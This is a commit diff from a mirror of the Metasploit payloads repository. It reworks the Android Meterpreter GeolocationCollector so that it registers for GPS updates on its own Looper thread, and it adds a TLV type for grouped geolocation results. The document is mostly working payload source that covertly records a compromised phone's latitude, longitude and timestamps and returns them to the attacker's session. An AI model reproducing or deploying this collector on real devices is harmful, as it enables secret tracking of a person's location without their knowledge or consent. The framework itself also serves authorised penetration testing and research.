1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-18 15:14:10 +01:00

Added Run method for handling location manager callbacks

This commit is contained in:
Narendra 2015-10-22 16:28:30 -07:00
parent 7a4f6cc824
commit 45f718a482
2 changed files with 105 additions and 123 deletions
java/androidpayload/library/src/com/metasploit/meterpreter

@ -2,7 +2,7 @@ package com.metasploit.meterpreter;
import com.metasploit.meterpreter.android.interval_collect;
import android.app.Activity;
import android.content.Context;
import android.location.Location;
import android.location.LocationListener;
@ -15,18 +15,20 @@ import java.io.IOException;
import java.lang.InterruptedException;
import java.lang.Math;
//import java.lang.string;
import java.lang.Override;
import java.lang.Runnable;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import java.util.Hashtable;
//Logging
import android.os.Handler;
import android.os.Looper;
import android.util.Log;
//This class
public class GeolocationCollector extends IntervalCollector {
public class GeolocationCollector extends IntervalCollector implements Runnable {
private static final long MINIMUM_DISTANCE_CHANGE_FOR_UPDATES = 1; // in Meters
private static final long MINIMUM_TIME_BETWEEN_UPDATES = 1000; // in Milliseconds
@ -38,7 +40,7 @@ public class GeolocationCollector extends IntervalCollector {
public GeoModel mGeoModolObj = new GeoModel();
private Hashtable<Long, List<GeoModel>> collections = null;
List<GeoModel> mGeoTagList = new ArrayList<GeoModel>();
public Handler handler;
private class GeoModel {
@ -57,7 +59,7 @@ public class GeolocationCollector extends IntervalCollector {
}
public void write(DataOutputStream output) throws IOException {
// output.writeUTF(this.mUnixEpoch);
Geolatsring = Double.toString(this.mLatitude);
Geolongstring = Double.toString(this.mLongitude);
output.writeLong(this.mUnixEpoch);
@ -65,6 +67,17 @@ public class GeolocationCollector extends IntervalCollector {
output.writeChars(Geolongstring);
}
}
@Override
public void run(){
Looper.prepare();
handler = new Handler();
mLocationManager.requestLocationUpdates(
LocationManager.GPS_PROVIDER,
MINIMUM_TIME_BETWEEN_UPDATES,
MINIMUM_DISTANCE_CHANGE_FOR_UPDATES,
new MyLocationListener());
Looper.loop();
}
private class MyLocationListener implements LocationListener {
@ -73,7 +86,7 @@ public class GeolocationCollector extends IntervalCollector {
"New Location \n Longitude: %1$s \n Latitude: %2$s",
location.getLongitude(), location.getLatitude()
);
//Toast.makeText(GeoTagging.this, message, Toast.LENGTH_LONG).show();
Log.d("MyLocationListener","message ="+message);
mGeoModolObj.setmUnixEpoch();
@ -83,23 +96,15 @@ public class GeolocationCollector extends IntervalCollector {
}
public void onStatusChanged(String s, int i, Bundle b) {
//Toast.makeText(GeoTagging.this, "Provider status changed",
// Toast.LENGTH_LONG).show();
Log.d("MyLocationListener","onStatusChanged ="+s +" : i= "+i);
}
public void onProviderDisabled(String s) {
//Toast.makeText(GeoTagging.this,
// "Provider disabled by the user. GPS turned off",
// Toast.LENGTH_LONG).show();
Log.d("MyLocationListener","onProviderDisabled ="+s);
}
public void onProviderEnabled(String s) {
//Toast.makeText(GeoTagging.this,
// "Provider enabled by the user. GPS turned on",
// Toast.LENGTH_LONG).show();
Log.d("MyLocationListener","onProviderEnabled ="+s);
}
@ -111,12 +116,6 @@ public class GeolocationCollector extends IntervalCollector {
this.collections = new Hashtable<Long, List<GeoModel>>();
mLocationManager = (LocationManager) AndroidMeterpreter.getContext()
.getSystemService(Context.LOCATION_SERVICE);
mLocationManager.requestLocationUpdates(
LocationManager.GPS_PROVIDER,
MINIMUM_TIME_BETWEEN_UPDATES,
MINIMUM_DISTANCE_CHANGE_FOR_UPDATES,
new MyLocationListener()
);
}
public GeolocationCollector(int collectorId, Context context) {
@ -124,34 +123,19 @@ public class GeolocationCollector extends IntervalCollector {
this.collections = new Hashtable<Long, List<GeoModel>>();
mLocationManager = (LocationManager) AndroidMeterpreter.getContext()
.getSystemService(Context.LOCATION_SERVICE);
mLocationManager.requestLocationUpdates(
LocationManager.GPS_PROVIDER,
MINIMUM_TIME_BETWEEN_UPDATES,
MINIMUM_DISTANCE_CHANGE_FOR_UPDATES,
new MyLocationListener()
);
}
protected void init() {
//if (this.receiver == null) {
// this.receiver = new LocationResultReceiver(this.context, this.getTimeout());
//}
}
protected void deinit() {
//this.receiver = null;
}
protected boolean collect(DataOutputStream output) throws IOException {
//List<ScanResult> scanResults = this.receiver.runScan();
List<GeoModel> lGeoTagList = new ArrayList<GeoModel>();
if (mGeoTagList != null) {
// List<WifiResult> results = new ArrayList<WifiResult>();
// for (ScanResult scanResult : scanResults) {
// results.add(new WifiResult(scanResult));
// }
synchronized (this.syncObject) {
this.collections.put(System.currentTimeMillis(), mGeoTagList);
@ -210,8 +194,8 @@ public class GeolocationCollector extends IntervalCollector {
try {
resultSet.add(interval_collect.TLV_TYPE_COLLECT_RESULT_TIMESTAMP, timestamp / 1000);
}
catch (IOException ex) {
// not good, but not much we can do here
catch (IOException e) {
Log.d("Geocollection Interval", Log.getStackTraceString(e.getCause().getCause()));
}
for (int i = 0; i < GeolocResults .size(); ++i) {
@ -221,22 +205,18 @@ public class GeolocationCollector extends IntervalCollector {
try {
geolocationSet.add(interval_collect.TLV_TYPE_GEO_LAT, result.mLatitude);
geolocationSet.add(interval_collect.TLV_TYPE_GEO_LONG, result.mLongitude);
// level is negative, but it'll be converted to positive on the flip side.
//geolocationSet.add(interval_collect.TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL, Math.abs(result.getLevel()));
//resultSet.addOverflow(interval_collect.TLV_TYPE_COLLECT_RESULT_GEO_LAT, geolocationSet);
//resultSet.addOverflow(interval_collect.TLV_TYPE_COLLECT_RESULT_GEO_LONG, geolocationSet);
resultSet.addOverflow(interval_collect.TLV_TYPE_COLLECT_RESULT_GEO, geolocationSet);
}
catch (IOException ex) {
// not good, but not much we can do here
catch (IOException e) {
Log.d("Geocollection Interval", Log.getStackTraceString(e.getCause().getCause()));
}
}
try {
packet.addOverflow(interval_collect.TLV_TYPE_COLLECT_RESULT_GROUP, resultSet);
}
catch (IOException ex) {
// not good, but not much we can do here
catch (IOException e) {
Log.d("Geocollection Interval", Log.getStackTraceString(e.getCause().getCause()));
}
}

@ -40,6 +40,8 @@ public class interval_collect implements Command {
public static final int TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL = wlan_geolocate.TLV_TYPE_WLAN_LEVEL;
//TLV for Geolocation
public static final int TLV_TYPE_COLLECT_RESULT_GEO = TLVPacket.TLV_META_TYPE_GROUP
| (TLV_EXTENSIONS + 9022);
public static final int TLV_TYPE_GEO_LAT = TLVPacket.TLV_META_TYPE_STRING
| (TLV_EXTENSIONS + 9011);
public static final int TLV_TYPE_GEO_LONG = TLVPacket.TLV_META_TYPE_STRING